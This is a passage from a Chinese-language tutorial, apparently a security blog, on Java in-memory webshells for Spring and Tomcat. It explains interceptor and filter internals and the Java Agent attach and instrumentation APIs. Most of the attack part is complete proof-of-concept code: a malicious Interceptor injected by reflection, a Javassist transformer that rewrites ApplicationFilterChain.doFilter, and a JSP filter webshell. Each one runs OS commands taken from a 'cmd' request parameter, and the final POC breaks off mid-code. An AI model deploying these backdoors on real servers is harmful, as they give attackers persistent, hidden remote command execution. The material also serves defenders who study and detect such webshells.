)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。在 Spring MVC
框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
通过实现 HandlerInterceptor
接口或继承HandlerInterceptor
接口的实现类(例如HandlerInterceptorAdapter
)来定义通过实现 WebRequestInterceptor
接口或继承WebRequestInterceptor
接口的实现类来定义
5.3.2、Interceptor示例
这里我们选择继承HandlerInterceptor
接口来实现一个Interceptor
。HandlerInterceptor
接口有三个方法,如下
preHandle
:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回true
表示继续向下执行,返回false
表示中断后续操作。postHandle
:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。afterCompletion
:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
package com.shell.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class Spring_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();
//如果请求路径为/login则放行
if ( url.indexOf("/login") >= 0){
writer.write("LoginIn");
writer.flush();
writer.close();
return true;
}
writer.write("LoginInFirst");
writer.flush();
writer.close();
return false;
}
}
在springmvc.xml
配置文件中配置相应的Interceptor
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/*"/>
<bean class="com.interceptor.InterceptorDemo" />
</mvc:interceptor>
</mvc:interceptors>
编写对应的Controller
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class LoginController {
@ResponseBody
@RequestMapping("login")
public String Login() {
return "Success";
}
}
访问对应路径
5.3.3、request调用流程
我们首先来探究一下,当一个Request
发送到Spring
应用时,是如何一步步到达业务逻辑处理层Controller
的。在ApplicationFilterChain#internalDoFilter
处下一个断点,可以看到此时的调用栈是和启动Tomcat
时相同的但与Tomcat
不同的是,当调用到HttpServlet#service
时,最终会调用DispatcherServlet#doDispatch
进行逻辑处理,这正是Spring
的逻辑处理核心类。
doDispatch:1028, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
跟进到getHandler
方法
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
在 getHandler
方法中,会通过遍历 this.handlerMappings
来获取 HandlerMapping
对象实例 mapping
而getHandler
实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 getHandler
方法,并通过 getHandlerExecutionChain(handler, request)
方法返回 HandlerExecutionChain
类的实例
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));
for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
}
else {
chain.addInterceptor(interceptor);
}
}
return chain;
}
可以看到其通过adaptedInterceptors
获取所有Interceptor
后进行遍历,其中可以看见一个我们自己定义的Interceptor
然后通过chain.addInterceptor()
将所有Interceptor
添加到HandlerExecutionChain
中。最后返回到DispatcherServlet#doDispatch()
中,调用mappedHandler.applyPreHandle
方法
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
for (int i = 0; i < this.interceptorList.size(); i++) {
HandlerInterceptor interceptor = this.interceptorList.get(i);
if (!interceptor.preHandle(request, response, this.handler)) {
triggerAfterCompletion(request, response, null);
return false;
}
this.interceptorIndex = i;
}
return true;
}
然后遍历调用Interceptor
中的preHandle()
拦截方法。因此当一个Request
发送到Spring
应用时,大致会经过如下几个层面才会进入Controller
层
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller
5.3.4、Interceptor型内存马实现思路
通过以上分析,Interceptor
实际上是可以拦截所有想到达Controller
的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor
了。由于Interceptor
和Filter
有一定的相似之处,因此我们可以仿照Filter
型内存马的实现思路
获取当前运行环境的上下文 实现恶意 Interceptor
注入恶意 Interceptor
5.3.5、获取环境上下文
在Controller
型内存马中,给出了四种获取Spring
上下文ApplicationContext
的方法。下面我们还可以通过反射获取LiveBeansView
类的applicationContexts
属性来获取上下文。
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
org.springframework.context.support.LiveBeansView
类在 spring-context 3.2.x
版本(现在最新版本是 5.3.x
)才加入其中,所以比较低版本的 spring
无法通过此方法获得 ApplicationContext
的实例。
获取adaptedInterceptor属性值获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name
叫什么。我们可以通过ApplicationContext
上下文来获取AbstractHandlerMapping
,进而反射获取adaptedInterceptors
属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
5.4.6、实现恶意的Interceptor
这里选择继承HandlerInterceptor
类,并重写其preHandle
方法
package com.shell.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
5.4.7、动态注册Interceptor
我们知道Spring
是通过遍历adaptedInterceptors
属性值来执行Interceptor
的,因此最后我们只需要将恶意Interceptor
加入到 adaptedInterceptors
属性值中就可以了。
//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);
5.4.8、完整POC
package com.shell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
public class Inject_Shell_Interceptor_Controller {
@ResponseBody
@RequestMapping("/inject")
public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);
}
public class Shell_Interceptor implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
}
注意需要在配置文件中修改此处
6、Java Agent内存马
6.1、什么是Java Agent
我们知道Java
是一种静态强类型语言,在运行之前必须将其编译成.class
字节码,然后再交给JVM
处理运行。Java Agent
就是一种能在不影响正常编译的前提下,修改Java
字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent
技术来实现的。那么Java Agent
技术具体是怎样实现的呢?对于Agent
(代理)来讲,其大致可以分为两种,一种是在JVM
启动前加载的premain-Agent
,另一种是JVM
启动之后加载的agentmain-Agent
。这里我们可以将其理解成一种特殊的Interceptor
(拦截器),如下图
6.2、Java Agent示例
6.2.1、Premain-Agent
我们首先来实现一个简单的premain-Agent
,创建一个Maven
项目,编写一个简单的premain-Agent
package com.java.premain.agent;
import java.lang.instrument.Instrumentation;
public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}
接着在resource/META-INF/
下创建MANIFEST.MF
清单文件用以指定premain-Agent
的启动类
Manifest-Version: 1.0
Premain-Class: com.java.premain.agent.Java_Agent_premain
将其打包成jar
文件
创建一个目标类
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}
添加JVM Options
(注意冒号之后不能有空格)
-javaagent:"out/artifacts/pm_jar/PremainDemo.jar"
运行结果如下草点:需要在**Maven**
模块里面新建一个**Maven**
模块
6.2.2、agentmain-Agent
相较于premain-Agent
只能在JVM启动前加载,agentmain-Agent
能够在JVM
启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM
有关的两个类。
6.2.2.1、VirtualMachine类
com.sun.tools.attach.VirtualMachine
类可以实现获取JVM
信息,内存dump
、现成dump
、类信息统计(例如JVM加
载的类)等功能。该类允许我们通过给attach
方法传入一个JVM
的PID
,来远程连接到该JVM
上 ,之后我们就可以对连接的JVM
进行各种操作,如注入Agent
。下面是该类的主要方法
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
//获得当前所有的JVM列表
VirtualMachine.list()
//解除与特定JVM的连接
VirtualMachine.detach()
6.2.2.2、VirtualMachineDescriptor类
com.sun.tools.attach.VirtualMachineDescriptor
类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID
、虚拟机名称等。下面是一个获取特定虚拟机PID
的示例
package org.example;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class GetPid {
public static void main(String[] args) {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为org.example.GetPid则返回其PID
System.out.println(vmd);
if(vmd.displayName().equals("org.example.GetPid"))
System.out.println(vmd.id());
}
}
}
下面我们就来实现一个agentmain-Agent
。首先我们编写一个Sleep_Hello
类,模拟正在运行的JVM
import static java.lang.Thread.sleep;
public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}
然后编写我们的agentmain-Agent
类
package com.java.agentmain.agent;
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}
同时配置MANIFEST.MF
文件
Manifest-Version: 1.0
Agent-Class: com.java.agentmain.agent.Java_Agent_agentmain
编译打包成jar
文件out/artifacts/Java_Agent_jar/Java_Agent.jar
最后编写一个Inject_Agent
类,获取特定JVM
的PID
并注入Agent
package com.java.inject;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Sleep_Hello")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
首先启动Sleep_Hello
目标JVM
然后运行Inject_Agent
类,注入Agent
6.2.2.3、Instrumentation
Instrumentation
是 JVMTIAgent
(JVM Tool Interface Agent
)的一部分,Java agent
通过这个类和目标 JVM
进行交互,从而达到修改数据的效果。其在Java
中是一个接口,常用方法如下
public interface Instrumentation {
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
//获取一个对象的大小
long getObjectSize(Object objectToSize);
}
获取目标JVM已加载类
下面我们简单实现一个能够获取目标JVM
已加载类的agentmain-Agent
package com.java.agentmain.instrumentation;
import java.lang.instrument.Instrumentation;
public class Java_Agent_agentmain_Instrumentation {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
System.out.println("------------------------------------------");
System.out.println("加载类: "+cls.getName());
System.out.println("是否可被修改: "+inst.isModifiableClass(cls));
}
}
}
注入目标进程,结果如下
Hello World!
Hello World!
------------------------------------------
加载类: com.java.agentmain.instrumentation.Java_Agent_agentmain_Instrumentation
是否可被修改: true
------------------------------------------
加载类: Sleep_Hello
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$1
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$Agent
是否可被修改: true
...
transform
在Instrumentation
接口中,我们可以通过addTransformer()
来添加一个transformer
(转换器),关键属性就是ClassFileTransformer
类。
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
ClassFileTransformer
接口中只有一个transform()
方法,返回值为字节数组,作为转换后的字节码注入到目标JVM
中。
public interface ClassFileTransformer {
/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器如Bootstrap ClassLoader,则为 null
* @param className 完全限定类内部形式的类名称,格式如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 返回一个通过ASM修改后添加了防御代码的字节码byte数组。
*/
byte[] transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}
在通过 addTransformer
注册一个transformer
后,每次定义或者重定义新类都会调用transformer
。所谓定义,即是通过ClassLoader.defineClass
加载进来的类。而重定义是通过Instrumentation.redefineClasses
方法重定义的类。当存在多个转换器时,转换将由 transform
调用链组成。也就是说,一个 transform
调用返回的 byte
数组将成为下一个调用的输入(通过 classfileBuffer
参数)。转换将按以下顺序应用:
不可重转换转换器 不可重转换本机转换器 可重转换转换器 可重转换本机转换器
至于transformer
中对字节码的具体操作,则需要使用到Javassisit
类。在这篇文章中,我已经介绍过了Javassist
的用法。下面我就来修改一个正在运行JVM
的字节码。JavaSsist解析
修改目标JVM的Class的字节码
首先编写一个目标类com.sleep.hello.Sleep_Hello.java
package com.sleep.hello;
import static java.lang.Thread.sleep;
public class Hello_Sleep {
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}
编写一个agentmain-Agent
package com.java.agentmain.agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class TransFormMain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("com.sleep.hello.Sleep_Hello")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}
继承ClassFileTransformer
类编写一个transformer
,修改对应类的字节码
package com.java.agentmain.agent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("com.sleep.hello.Sleep_Hello");
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
需要手动导入tool.jar
MANIFEST.MF
配置
Manifest-Version: 1.0
Agent-Class: com.java.agentmain.agent.TransFormMain
打包成jar
首先运行目标类,然后运行Inject_Agent
类,注入Agent
6.3、Instrumentation的局限性
大多数情况下,我们使用Instrumentation
都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine
),但是有以下局限性:premain
和agentmain
两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class
类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。类的字节码修改称为类转换(Class Transform
),类转换其实最终都回归到类重定义Instrumentation#redefineClasses
方法,此方法有以下限制:
新类和老类的父类必须相同 新类和老类实现的接口数也要相同,并且是相同的接口 新类和老类访问符必须一致。新类和老类字段数和字段名要一致 新类和老类新增或删除的方法必须是 private static/final
修饰的可以修改方法体
6.4、Agent内存马
现在我们可以通过Java Agent
技术来修改正在运行JVM
中的方法体,那么我们可以Hook
一些JVM
一定会调用、并且Hook
之后不会影响正常业务逻辑的的方法来实现内存马。这里我们以Spring Boot
为例,来实现一个Agent
内存马
6.4.1、Spring Boot中的Tomcat
我们知道,Spring Boot
中内嵌了一个embed Tomcat
作为其启动容器。既然是Tomcat
,那肯定有相应的组件容器。我们先来调试一下SpringBoot
,部分调用栈如下
Context:20, Context_Learn (com.example.spring_controller)
...
(org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()
方法
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}
跟到internalDoFilter()
方法中
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
...
}
}
以上两个方法均拥有ServletRequest
和ServletResponse
,并且hook
不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
6.4.2、利用Java Agent实现Spring Filter内存马
我们复用上面的agentmain-Agent
,修改字节码的关键在于transformer()
方法,因此我们重写该方法即可
package com.java.agentmain.instrumentation.transformer;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
package com.java.filter.transform.agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class Java_Agent_agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("com.example.spring.SpringDemoApplication")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}
Inject_Agent_Spring
类如下
package com.java.inject;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Inject_Agent_Spring {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.example.spring.SpringDemoApplication")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/ts_jar/TransformDemo.jar");
//断开JVM连接
virtualMachine.detach();
}
// System.out.println(vmd.displayName());
}
}
}
7、内存马回显技术
Tomcat Filter
回显内存马示例
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>
7.1、ThreadLocal Response回显
不研究
7.2、通过全局存储Response回显
不研究
7.2.1、完整POC
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//获取StandardService
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
System.out.println(standardContext);
try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);
//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];
//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){
//获取org.apache.coyote.Request
